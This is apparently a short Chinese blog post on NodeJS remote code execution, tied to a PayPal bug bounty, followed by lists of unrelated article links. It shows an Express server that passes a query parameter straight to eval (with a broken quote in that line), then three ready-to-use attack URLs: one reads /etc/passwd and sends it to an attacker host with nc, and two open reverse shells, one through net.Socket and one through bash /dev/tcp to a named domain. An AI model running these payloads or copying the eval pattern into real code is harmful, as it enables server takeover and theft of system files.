NodeJS远程代码执行


Posted in NodeJs onAugust 28, 2016

背景

@Artsploit在挖PayPal的漏洞时,发现一处NodeJS代码执行,奖励$10000美金。

测试

var express = require('express'); 
var app = express(); 
app.get('/', function (req, res) { 
  res.send('Hello eval(req.query.q));
  console.log(req.query.q);
});
app.listen(8080, function () { 
  console.log('Example listening on port 8080!');
});

任意文件读取

http://host:8080/?q=require('child_process').exec('cat+/etc/passwd+|+nc+attackerip+80')

GET SHELL

http://host:8080/?q=var+net+=+require("net"),+sh+=+require("child_process").exec("/bin/bash");var+client+=+new+net.Socket();client.connect(80,+"attackerip",+function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});

GET SHELL2

http://host:8080/?q=require("child_process").exec('bash -c "bash -i >%26 /dev/tcp/wufeifei.com/7890 0>%261"')
NodeJs 相关文章推荐
nodejs npm install全局安装和本地安装的区别
Jun 05 NodeJs
我的NodeJs学习小结(一)
Jul 06 NodeJs
14款NodeJS Web框架推荐
Jul 11 NodeJs
NodeJS中Buffer模块详解
Jan 07 NodeJs
Nodejs关于gzip/deflate压缩详解
Mar 04 NodeJs
nodejs中实现阻塞实例
Mar 24 NodeJs
nodejs加密Crypto的实例代码
Jul 07 NodeJs
利用nodejs监控文件变化并使用sftp上传到服务器
Feb 18 NodeJs
NodeJs安装npm包一直失败的解决方法
Apr 28 NodeJs
nodejs利用ajax实现网页无刷新上传图片实例代码
Jun 06 NodeJs
深入浅析Nodejs的Http模块
Jun 20 NodeJs
nodejs异步编程基础之回调函数用法分析
Dec 26 NodeJs
用NodeJS实现批量查询地理位置的经纬度接口
Aug 16 #NodeJs
使用nodejs中httpProxy代理时候出现404异常的解决方法
Aug 15 #NodeJs
NodeJs的优势和适合开发的程序
Aug 14 #NodeJs
在windows上用nodejs搭建静态文件服务器的简单方法
Aug 11 #NodeJs
Nodejs抓取html页面内容(推荐)
Aug 11 #NodeJs
用nodejs的实现原理和搭建服务器(动态)
Aug 10 #NodeJs
nodejs如何获取时间戳与时间差
Aug 03 #NodeJs
You might like
PHP实现redis限制单ip、单用户的访问次数功能示例
2018/06/16 PHP
PHP date()格式MySQL中插入datetime方法
2019/01/29 PHP
JavaScript setTimeout和setInterval的使用方法 说明
2010/03/25 Javascript
javascript利用初始化数据装配模版的实现代码
2010/11/17 Javascript
JQuery扩展插件Validate—6 radio、checkbox、select的验证
2011/09/05 Javascript
node.js中的events.emitter.removeListener方法使用说明
2014/12/10 Javascript
jQuery实现购物车计算价格功能的方法
2015/03/25 Javascript
JavaScript多并发问题如何处理
2015/10/28 Javascript
javascript类型系统_正则表达式RegExp类型详解
2016/06/24 Javascript
详解Sea.js中Module.exports和exports的区别
2017/02/12 Javascript
nodejs构建本地web测试服务器 如何解决访问静态资源问题
2017/07/14 NodeJs
微信小程序中this.data与this.setData的区别详解
2018/09/17 Javascript
微信小程序音乐播放器开发
2019/11/20 Javascript
基于Angular 8和Bootstrap 4实现动态主题切换的示例代码
2020/02/11 Javascript
jQuery实现简单弹幕制作
2020/12/10 jQuery
浅谈Vue开发人员的7个最好的VSCode扩展
2021/01/20 Vue.js
[44:58]2018DOTA2亚洲邀请赛 4.5 淘汰赛 LGD vs Liquid 第二场
2018/04/06 DOTA
Python挑选文件夹里宽大于300图片的方法
2015/03/05 Python
Python中的面向对象编程详解(下)
2015/04/13 Python
Python编程实现双击更新所有已安装python模块的方法
2017/06/05 Python
Python日期的加减等操作的示例
2017/08/15 Python
Python实现读写INI配置文件的方法示例
2018/06/09 Python
Python爬取商家联系电话以及各种数据的方法
2018/11/10 Python
python处理“
2019/06/10 Python
Python qrcode 生成一个二维码的实例详解
2020/02/12 Python
Python matplotlib画图时图例说明(legend)放到图像外侧详解
2020/05/16 Python
利用Pycharm + Django搭建一个简单Python Web项目的步骤
2020/10/22 Python
5个你不知道的HTML5的接口介绍
2013/08/07 HTML / CSS
Html5 webview元素定位工具的实现
2020/08/07 HTML / CSS
凯伦·米莲女装网上商店:Karen Millen
2017/11/07 全球购物
老板电器官方购物商城:老板油烟机、燃气灶、消毒柜、电烤箱
2018/05/30 全球购物
Ibatis中如何提高SQL Map的性能
2013/05/11 面试题
成功的餐厅经营创业计划书
2014/01/15 职场文书
高中毕业自我评价
2014/02/08 职场文书
2014年会策划方案
2014/05/11 职场文书
Win10 Anaconda安装python-pcl
2022/04/29 Servers